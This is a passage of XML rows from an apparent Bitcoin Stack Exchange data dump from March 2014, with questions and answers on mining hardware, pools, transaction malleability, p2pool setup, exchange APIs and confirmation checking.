  <row Id="23609" PostTypeId="2" ParentId="23584" CreationDate="2014-03-16T08:05:31.080" Score="1" Body="&lt;p&gt;The answer to this is yes, it will. Mining can be done on most turing-complete languages like Javascript. But the true question is &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10320/how-useful-is-a-javascript-miner/10327#10327&quot;&gt;how useful is a JavaScript miner.&lt;/a&gt; Not to mention Node.js is optimized towards asynchronicity, something which heavy math equations that mining requires aren't. Node.js &lt;a href=&quot;https://stackoverflow.com/questions/16974557/why-is-node-js-not-suitable-for-heavy-cpu-apps&quot;&gt;isn't suitable for CPU heavy tasks&lt;/a&gt; but it flies when dealing with many requests at the same time. For this reason there aren't many miners built on Node.js/Javascript. A miner written in C++ is your best bet, such as CGMiner. &lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2014-03-16T08:05:31.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23610" PostTypeId="1" AcceptedAnswerId="23816" CreationDate="2014-03-16T08:10:11.107" Score="1" ViewCount="932" Body="&lt;p&gt;What could be done more easily (or just be doable) in a BTC-denominated stock exchange that is difficult (or plain impossible) in a fiat-denominated one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. what features of a BTC denominated exchange would make it relatively attractive to ordinary traders?&lt;/p&gt;&#xA;" OwnerUserId="14402" LastEditorUserId="5757" LastEditDate="2014-03-21T12:39:17.590" LastActivityDate="2021-09-19T03:54:18.720" Title="BTC denominated vs fiat denominated stock exchange?" Tags="|exchanges|stocks|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23613" PostTypeId="1" CreationDate="2014-03-16T10:49:15.723" Score="1" ViewCount="215" Body="&lt;p&gt;As a solo miner, what happens to the block that has been assigned to the miner if after a short time he stops mining it altogether. &lt;/p&gt;&#xA;" OwnerUserId="14248" LastEditorUserId="5406" LastEditDate="2016-04-25T19:33:29.433" LastActivityDate="2016-04-25T19:33:29.433" Title="what would happen to an assigned block if the solo miner stops mining it?" Tags="|mining-theory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23614" PostTypeId="2" ParentId="22731" CreationDate="2014-03-16T10:53:09.557" Score="2" Body="&lt;p&gt;Nvidia +cuda miner need high PCIe bandwidth while Radeon/AMD+cgminer use very small PCIe bandwidth so using 1x to 16x riser doesn't give any speed reduction&lt;/p&gt;&#xA;" OwnerUserId="14555" LastActivityDate="2014-03-16T10:53:09.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23616" PostTypeId="1" AcceptedAnswerId="23658" CreationDate="2014-03-16T11:01:30.107" Score="1" ViewCount="438" Body="&lt;p&gt;I would like know if there is an easy explanation on all the different pool systems, their reward systems and how fast they pay without being referred to the Meni Rosenfeld paper&lt;/p&gt;&#xA;" OwnerUserId="14248" LastActivityDate="2014-03-17T13:33:11.117" Title="Is there an easy explanation to understand the different types of pools" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23618" PostTypeId="2" ParentId="23430" CreationDate="2014-03-16T11:48:58.283" Score="1" Body="&lt;p&gt;It is not possible to add an extra input (or output) to someone else's transactions without getting them to sign the new transaction because their signature is only valid for the given underlying inputs and outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A possible source of confusion is that other aspects of a transaction are indeed malleable (they can be altered until they are finalized by incorporation into the blockchain in the mining process). For example, there is a trivial transformation of forming a new valid signature from an existing valid signature that is essentially taking the negative of it, and leading zeroes can be prepended as well. In a sense this is a legacy problem because signatures used to, before Bitcoin, be seen as having a value in confirming the authenticity of other data, not in being unique themselves, such that in the unexpected case of seeing these non-standard formats for signatures, defaulting to accepting them was a reasonable choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No such alteration changes the underlying transfer of Bitcoin, they only change the hash (transcation id or txid) of the existing transaction. This means that such alteration could confuse the parties involved, as the transaction gets confirmed under an unexpected txid, but they do not affect how many bitcoin are transferred from what inputs to what outputs.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2014-03-16T11:54:41.993" LastActivityDate="2014-03-16T11:54:41.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23620" PostTypeId="1" CreationDate="2014-03-16T12:51:56.913" Score="1" ViewCount="3039" Body="&lt;p&gt;I need some help to install and configure p2pool.&#xA;I run a Debian 7&#xA;installed bitcoin and litecoin (getinfo ok)&#xA;firewall with open port 3332 3333 8332 8333 9332 9327 9333 9338&#xA;installed p2pool and run it with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python run_p2pool.py --net litecoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just keep having this error, googled for it but can't seem to find any correct answers for this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Testing bitcoind RPC connection to 'http://127.0.0.1:3333/' with username 'Litecoinrpc'...&#xA;2014-03-16 13:41:47.063358 &amp;gt; Error while checking Bitcoin connection:&#xA;2014-03-16 13:41:47.063426 &amp;gt; Traceback (most recent call last):&#xA;2014-03-16 13:41:47.063463 &amp;gt; Failure: twisted.internet.error.ConnectionRefusedError: Connection was refused by other side: 111: Connection refused.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="14560" LastActivityDate="2015-03-11T22:41:45.863" Title="P2Pool twisted error" Tags="|p2pool|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23622" PostTypeId="2" ParentId="19339" CreationDate="2014-03-16T13:05:34.807" Score="8" Body="&lt;p&gt;&lt;a href=&quot;http://bitinfocharts.com/&quot; rel=&quot;noreferrer&quot;&gt;Bitinfocharts.com&lt;/a&gt; lists stats for the main cryptos including the block chain size. You will find &quot;Blockchain size&quot; near the bottom.&lt;/p&gt;&#xA;" OwnerUserId="14562" LastEditorUserId="5406" LastEditDate="2015-04-01T21:59:47.407" LastActivityDate="2015-04-01T21:59:47.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23624" PostTypeId="2" ParentId="23430" CreationDate="2014-03-16T16:07:30.970" Score="5" Body="&lt;p&gt;Short answer: no, this is impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Longer answer: some transactions allow changing the inputs used (ANYONECANPAY inputs). It is also possible to have inputs which do not sign the outputs being created (SIGHASH_NONE). However, a transaction where all inputs are of this type, are worthless, as anyone could change the outputs to credit themselves instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically, when normal SIGHaSH_ALL signatures are used, pretty much everything of a transaction is signed (which input coins are used (and in which order), what output scripts are created, what value to assign to them, ... Everything except the signatures themselves really (which is what causes involuntary malleability).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an input signature is marked ANYONECANPAY, it does not sign the other input coins being used. This means you can create a transaction meaning &quot;i want x and y to be paid, but i don't care who provides the funds to do so&quot;. If all signatures in a transactioon are ANYONECANPAY, you could add extra inputs (or remove existing inputs. Just increasing the input funds would just burn them as fee, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other side, there is SIGHASH_NONE, which makes a signature not sign the transaction's outputs. This may seem to allow what you want to, but in case every signature is SIGHASH_NONE, the treansaction is completely unsafe, as anyone could replace where the outputs go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, even if a combination of those would in theory allow what you suggest, it is not true for typical tramsactions, amd would in fact be completely unsafe.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-03-16T16:07:30.970" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23625" PostTypeId="2" ParentId="23430" CreationDate="2014-03-16T16:22:26.040" Score="0" Body="&lt;h1&gt;These things cannot change:&lt;/h1&gt;&#xA;&lt;p&gt;Usually* a bitcoin transaction includes a signature to confirm the following things:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Input&lt;/li&gt;&#xA;&lt;li&gt;Output&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;An input or output specifies both an address and an amount. If either of these things change, then a new signature will be needed, which can only be created by someone who has the private key. Changing the input or the output will invalidate the signature. Only the owner of the private key can make such a change, being the only one who can create the new signature. Even then, this would create an entirely new transaction which could not be mistaken for the original.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_Malleability&quot; rel=&quot;nofollow noreferrer&quot;&gt;thing which &lt;strong&gt;can&lt;/strong&gt; be changed&lt;/a&gt; prior to the transaction being included in the blockchain is the transaction id. Changing this can cause confusion for anyone who accepts unconfirmed transactions, but it cannot change the input or output - it is just a label. For people who only accept confirmed transactions, the transaction will already be in the blockchain, where nothing can be altered so there is no opportunity for confusion.&lt;/p&gt;&#xA;&lt;h1&gt;In conclusion:&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your transaction which hasn't been included in the blockchain yet is safe from having its input or output changed. Neither addresses nor amounts can be changed or added to.&lt;/li&gt;&#xA;&lt;li&gt;Once your transaction is included in the blockchain** it is safe from having &lt;strong&gt;anything&lt;/strong&gt; changed, so you can safely refer to it by its transaction id without any potential for confusion.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Extra info&lt;/h1&gt;&#xA;&lt;p&gt;I was aiming for a simple explanation so I have not included detail of transactions with multiple inputs with different private keys, but the same applies. No third party can make alterations other than the transaction id, which does not affect what bitcoin amount is transferred or where it is transferred from and to.&lt;/p&gt;&#xA;&lt;p&gt;The explanation above applies to standard transactions. Producing a transaction to which these protections do not apply would require either specialist software or an in depth understanding. For further detail on transactions see the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Wiki page on transactions&lt;/a&gt; (technical detail on how the signing process works)&lt;/li&gt;&#xA;&lt;li&gt;[Bitcoin Wiki page on CHECKSIG](&lt;a href=&quot;https://en.bitcoin.it/wiki/OP_CHECKSIG&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/OP_CHECKSIG&lt;/a&gt; (inner workings of a signature)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;*&lt;em&gt;While it is possible to deliberately create a transaction which does not specify inputs, or even one which does not specify outputs, I am assuming that the question concerns the usual process of creating a transaction from specified input(s) to specified output(s).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;**&lt;em&gt;By &amp;quot;included in the blockchain&amp;quot; I mean included with however many confirmations you consider sufficient for your purposes. If a transaction has only one confirmation then it is still possible that the block it has been included in will become orphaned later. With each additional confirmation the risk of this happening decreases considerably.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="14410" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-03-16T17:02:26.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23626" PostTypeId="1" CreationDate="2014-03-16T16:52:02.847" Score="1" ViewCount="45" Body="&lt;p&gt;At &lt;a href=&quot;https://coinbase.com/charts&quot; rel=&quot;nofollow&quot;&gt;https://coinbase.com/charts&lt;/a&gt; we see that $/BTC ratio has been pretty steady for the past week, while the number of transactions per day has plummeted from more than 120,000 to fewer than 27,000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd have guessed that the price would be more sensitive to the number of transactions.  Is there some explanation of why it's not?&lt;/p&gt;&#xA;" OwnerUserId="492" LastActivityDate="2014-03-16T16:52:02.847" Title="Prices and numbers of transactions" Tags="|exchange-rate|market|volume|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23627" PostTypeId="2" ParentId="23613" CreationDate="2014-03-16T17:37:57.667" Score="1" Body="&lt;p&gt;The &quot;work&quot; of mining consists of finding a &quot;solution&quot; to a list of transactions. The miners throw in a 'bonus' transaction paying themselves as a reward for solving the problem. But only if they solve their problem &quot;fast enough&quot; do they actually get paid. (Other people are solving their own problem, and there is only one global winner per block. Once a winner is found, everyone starts over on the next block)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a pool, the master creates a block to work on (giving a bonus to the master) and gives it to the slaves. All the slave workers try to solve that one problem at the same time (adding their power together). If the solution is found in time, the master gets the bonus, and distributes it to the workers in the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if there are no workers in a pool, obviously no solution can be found, so the master won't get paid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, a &quot;solo miner&quot; doesn't have &quot;assigned blocks&quot;. He creates his own problem (giving payout to himself). If he stops working on that problem, he doesn't get paid. Only people who solve the problem (fast enough) can get paid.&lt;/p&gt;&#xA;" OwnerUserId="14568" LastActivityDate="2014-03-16T17:37:57.667" CommentCount="0" CommunityOwnedDate="2014-03-16T17:37:57.667" ContentLicense="CC BY-SA 3.0" />
  <row Id="23629" PostTypeId="2" ParentId="12012" CreationDate="2014-03-16T18:25:32.533" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the key features of eMunie, a crypto-currency that's not a Bitcoin fork?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;First off, if the eMunie guys can't provide a compelling answer, then stay away from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, they are making a lot of bold claims without backing them up.  For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;immune to 51% problems&lt;/strong&gt; but transactions are verified by only two hatchers, so it's unclear that is any better..&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;With eMunie, both hatchers would get a near equal share of that reward&lt;/strong&gt; - So? Bitcoin already has worker pools which implement the same concept.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;The main problem there is that you get a handful of miners with massive hash power&lt;/strong&gt; - Citation needed. The majority of Bitcoin is mined in &lt;a href=&quot;http://blockchain.info/pools&quot; rel=&quot;nofollow&quot;&gt;pools&lt;/a&gt; that payout most of their profits to their workers.   This does not concentrate the wealth.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14568" LastActivityDate="2014-03-16T18:25:32.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23630" PostTypeId="2" ParentId="12822" CreationDate="2014-03-16T18:38:28.100" Score="2" Body="&lt;p&gt;That's all well and nice, but it turns out that courts aren't interested in &quot;mathematical proofs&quot; (with good reason).  I recommend reading all the books by Bruce Schneider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you got someone to pay you at &lt;code&gt;receive_public_key&lt;/code&gt;. Does that mean he has agreed to contract &lt;code&gt;M&lt;/code&gt;? No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The courts would still need to see documentation that your partner actually saw and agreed to the contract &lt;code&gt;M&lt;/code&gt;. You could have emailed the guy and said &quot;I'll give you $10 if you send Bitcoins to &lt;code&gt;receive_public_key&lt;/code&gt;, then later claim that he agreed to contract &lt;code&gt;M&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This same thing happened in the 90's, with vendors claiming cryptographic digital signatures had the property of &lt;a href=&quot;https://en.wikipedia.org/wiki/Non-repudiation&quot; rel=&quot;nofollow&quot;&gt;Non-repudiation&lt;/a&gt;. But the courts disagreed. For example, someone can hold a gun to your head and make you 'sign' a contract (digital or otherwise). No court will consider that a valid contract, fancy math or no fancy math.&lt;/p&gt;&#xA;" OwnerUserId="14568" LastActivityDate="2014-03-16T18:38:28.100" CommentCount="1" CommunityOwnedDate="2014-03-16T18:38:28.100" ContentLicense="CC BY-SA 3.0" />
  <row Id="23631" PostTypeId="2" ParentId="4499" CreationDate="2014-03-16T18:49:45.017" Score="1" Body="&lt;p&gt;In the absence of a reason, I'm going to assume it's specific to their distro, and they meant &lt;em&gt;&quot;we only created (and always use) the root account, so our documentation assumes you are logged in as root. We haven't tested for odd corner cases that arise because of subtle differences in the way &lt;code&gt;sudo&lt;/code&gt; works&quot;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo&lt;/code&gt; is considered &lt;a href=&quot;https://help.ubuntu.com/community/RootSudo&quot; rel=&quot;nofollow&quot;&gt;more secure&lt;/a&gt; than logging in as root for a number of reasons. It should &lt;strong&gt;always&lt;/strong&gt; be used on mainstream distros.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for a tiny USB stick distro (with no ability to login as root over the network), the security benefits of &lt;code&gt;sudo&lt;/code&gt; may not be worth the complexity.&lt;/p&gt;&#xA;" OwnerUserId="14568" LastActivityDate="2014-03-16T18:49:45.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23633" PostTypeId="2" ParentId="13835" CreationDate="2014-03-16T19:08:59.353" Score="2" Body="&lt;p&gt;I'm pretty sure you'll never get an accurate number. I'm not even clear what you mean by &lt;code&gt;transferred into the bitcoin economy&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If I bought $100 worth of bitcoins 3 years ago, do we count that as $100 or the value of the BTC now?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I buy a bitcoin for $100 cash (using localbitcoins), send it to my friend (who immediately converts it to $100 USD), how do we account for that? If I do that transfer millions of times, can we say that BTC has &quot;Millions in cash invested&quot; even though there was only ever $100 at a time?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Your best bet is to just add up the aggregate transfers on all the exchanges, and call that &quot;GDP&quot; (and you may never be able to account for non-public transactions like localbitcoin or private exchanges). Just like GDP, you will necessarily over-count what's really happening. (For example, my transaction &quot;I buy shoes&quot; is actually counted as &quot;I buy shoes, the shoe seller buys the shoes, the shoe maker buys leather, the leather maker buys a cow, the farmer buys cow food, etc.&quot;&lt;/p&gt;&#xA;" OwnerUserId="14568" LastActivityDate="2014-03-16T19:08:59.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23634" PostTypeId="2" ParentId="20895" CreationDate="2014-03-16T19:40:51.823" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How can one gauge the reliability, customer service, and transparency of bitcoin exchanges?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I totally agree that Bitcoin feels like the wild west, with people selling snake oil left and right.  It is early days, and that's how it works. If you want to be a pioneer, you will get arrows in your back. Right now, it's gambling, even more risky than gambling on the Stock Market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not comfortable with that, then wait. Down the road, there will be an influx of reputable exchanges. Right now, a &quot;good&quot; exchange won't make any more money than a fly-by-night exchange. But over time, the average reputation will increase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Internet worked the same way. Every Newspaper had an article on &quot;Is the Internet a fad?&quot; and warned &quot;never use your credit card on the Internet&quot;. (Of course, kids these days don't even know what a newspaper is.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can one gauge the reliability, customer service, and transparency of &lt;strong&gt;Banks or Retailers?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Think of how many reputable retailers had their credit card database stolen in the last 6 months. Think of how many banks went out of business without warning in 2008.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People are reporting on bitcoin exchanges that loose a few million, but nobody reports when a grocery store goes under and looses a few million.&lt;/p&gt;&#xA;" OwnerUserId="14568" LastActivityDate="2014-03-16T19:40:51.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23635" PostTypeId="2" ParentId="23505" CreationDate="2014-03-16T19:56:13.297" Score="1" Body="&lt;p&gt;The &amp;quot;Web server&amp;quot; section of the README explains this briefly:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;By default, Abe expects to be run in a FastCGI environment. For an overview of FastCGI setup, see README-FASTCGI.txt.&lt;/p&gt;&#xA;&lt;p&gt;To run the built-in HTTP server instead of FastCGI, specify a TCP port and network interface in abe.conf, e.g.:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;port 2750&#xA;host 127.0.0.1  # or a domain name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;For personal use, you probably won't want to set up a FastCGI environment (unless you already have one set up). So, you can use the built-in HTTP server using the configuration above. In the above configuration, to talk to Abe you would go to the following URL in your browser:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://127.0.0.1:2750&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If all goes well, you should see the Abe interface.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-03-16T19:56:13.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23637" PostTypeId="1" AcceptedAnswerId="23650" CreationDate="2014-03-17T02:15:00.813" Score="2" ViewCount="157" Body="&lt;p&gt;When monitoring incoming transactions for a web wallet, should I check for confirmations on a timer, e.g. every minute? Or should I check once every block by using blocknotify?&lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2014-03-17T07:41:14.980" Title="When to check for confirmationsl" Tags="|transactions|transaction-verification|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23638" PostTypeId="2" ParentId="23488" CreationDate="2014-03-17T03:33:50.937" Score="1" Body="&lt;p&gt;To reply to your updated question: If you have two addresses in your wallet, and want to send coins from one of the addresses to the other, then you do have to pay fees. The network doesn't know whether two addresses in the same wallet. (Well, technically it could, if both addresses were used as inputs in the same transaction at some point, but I digress - in any case, the network doesn't care. Two different addresses are two different addresses.)&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-17T03:33:50.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23639" PostTypeId="2" ParentId="23637" CreationDate="2014-03-17T03:50:29.697" Score="2" Body="&lt;p&gt;This is a nice chart on the average transaction confirmation time: &lt;a href=&quot;https://blockchain.info/charts/avg-confirmation-time&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/charts/avg-confirmation-time&lt;/a&gt; that will give you a better estimation on how often you should check. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also related: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/855/what-keeps-the-average-block-time-at-10-minutes&quot;&gt;What keeps the average block time at 10 minutes?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-03-17T03:50:29.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23642" PostTypeId="1" CreationDate="2014-03-17T04:01:50.563" Score="1" ViewCount="2624" Body="&lt;p&gt;I have an ant s1 and I want to mine on 3 pools. We can set them in the miner configuration but  the antminer use only the first one. I guess it will use the second then the third one in case of failover.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make the antS1 mining simultaneous on the different pools?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14080" LastEditorUserId="5406" LastEditDate="2016-04-24T08:51:36.603" LastActivityDate="2017-03-04T18:54:07.337" Title="Antminer S1, how to mine on multiple pools" Tags="|mining-pools|asic|miner-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23646" PostTypeId="2" ParentId="23642" CreationDate="2014-03-17T05:20:06.843" Score="1" Body="&lt;p&gt;Not quite, however you can pool hop.&#xA;Check out &lt;a href=&quot;https://github.com/c00w/bitHopper&quot; rel=&quot;nofollow&quot;&gt;Bit Hopper&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this way you can maximize your mining profits, obviously you put other people at a disadvantage, but the pool operator should really take care of these exploits...&lt;/p&gt;&#xA;" OwnerUserId="14433" LastActivityDate="2014-03-17T05:20:06.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23647" PostTypeId="1" AcceptedAnswerId="23649" CreationDate="2014-03-17T05:57:31.893" Score="0" ViewCount="500" Body="&lt;p&gt;Installing bitcoind from github, I forgot to pass &quot;git checkout v0.8.6&quot; (current version at time of writing), and of course, go the following error in getinfo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This is a pre-release test build - use at your own risk - do not use for mining or merchant applications&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This got me thinking, what kinds of unexpected problems which could happen?&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-03-17T07:44:22.760" Title="Risk of using pre-release test build" Tags="|testing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23648" PostTypeId="2" ParentId="23637" CreationDate="2014-03-17T06:06:38.640" Score="2" Body="&lt;p&gt;It depends how quickly you would like to notify the customer of their payment being accepted. When I make a deposit/payment, I would like to see it as soon as possible. I always get that uneasy feeling during the time between when I send coins and when I see it confirm in my account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were you I would say every minute is acceptable (and easy to set up a cron for), I would notify when the payment has been seen (rawmempool), and when it has been confirmed the required amount of times to send or spend.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-03-17T06:06:38.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23649" PostTypeId="2" ParentId="23647" CreationDate="2014-03-17T06:33:16.970" Score="2" Body="&lt;p&gt;It might contain security vulnerabilities (which could potentially expose your private key), but that's extremely unlikely. Something more plausible (but still unlikely) is corrupting your &lt;code&gt;wallet.dat&lt;/code&gt;, so be sure to back it up before upgrading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a normal user, the test build ought to be safe for most purposes. The main risk, I guess, is for people operating exchanges, mining pools, etc., where you can't afford to go down in the middle of operation. The test build is more likely to crash (or fail to work in some way) rather than be insecure.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-17T06:33:16.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23650" PostTypeId="2" ParentId="23637" CreationDate="2014-03-17T07:41:14.980" Score="2" Body="&lt;p&gt;Every 30-60 seconds should be sufficient, but if you have access to a service that will notify you when blocks are found, that would be the fastest. A confirmation is just a block being found. Once the transaction is included in a block, that's its first confirmation (and it is no longer unconfirmed). Every block that stems from that block afterward is another confirmation.&lt;/p&gt;&#xA;" OwnerUserId="7342" LastActivityDate="2014-03-17T07:41:14.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23651" PostTypeId="2" ParentId="23647" CreationDate="2014-03-17T07:44:22.760" Score="0" Body="&lt;p&gt;Test builds are more likely to have bugs since they're less thoroughly tested. Bugs could range anywhere from wallet corruption to crashes to accidental spending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, it should be pretty safe, but there's no guarantees of stability.&lt;/p&gt;&#xA;" OwnerUserId="7342" LastActivityDate="2014-03-17T07:44:22.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23652" PostTypeId="2" ParentId="22936" CreationDate="2014-03-17T10:07:41.450" Score="1" Body="&lt;p&gt;Have a look at the documentation (unfortunately it's in russian, but google can translate): &lt;a href=&quot;https://btc-e.com/api/3/documentation&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/3/documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I think it's finished trades. Look at the Depth method to get open orders &lt;a href=&quot;https://btc-e.com/api/3/documentation#depth&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/3/documentation#depth&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are looking at the btc_usd pair, then the price is in USD, and the amount in BTC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14581" LastActivityDate="2014-03-17T10:07:41.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23653" PostTypeId="2" ParentId="20316" CreationDate="2014-03-17T10:11:32.857" Score="2" Body="&lt;p&gt;I know it's an old post, but I stumbled on it while asking myself the same question. The answer is to use the ActiveOrders method (which I don't think is implemented in the  c# BtceAPI)&lt;/p&gt;&#xA;" OwnerUserId="14581" LastActivityDate="2014-03-17T10:11:32.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
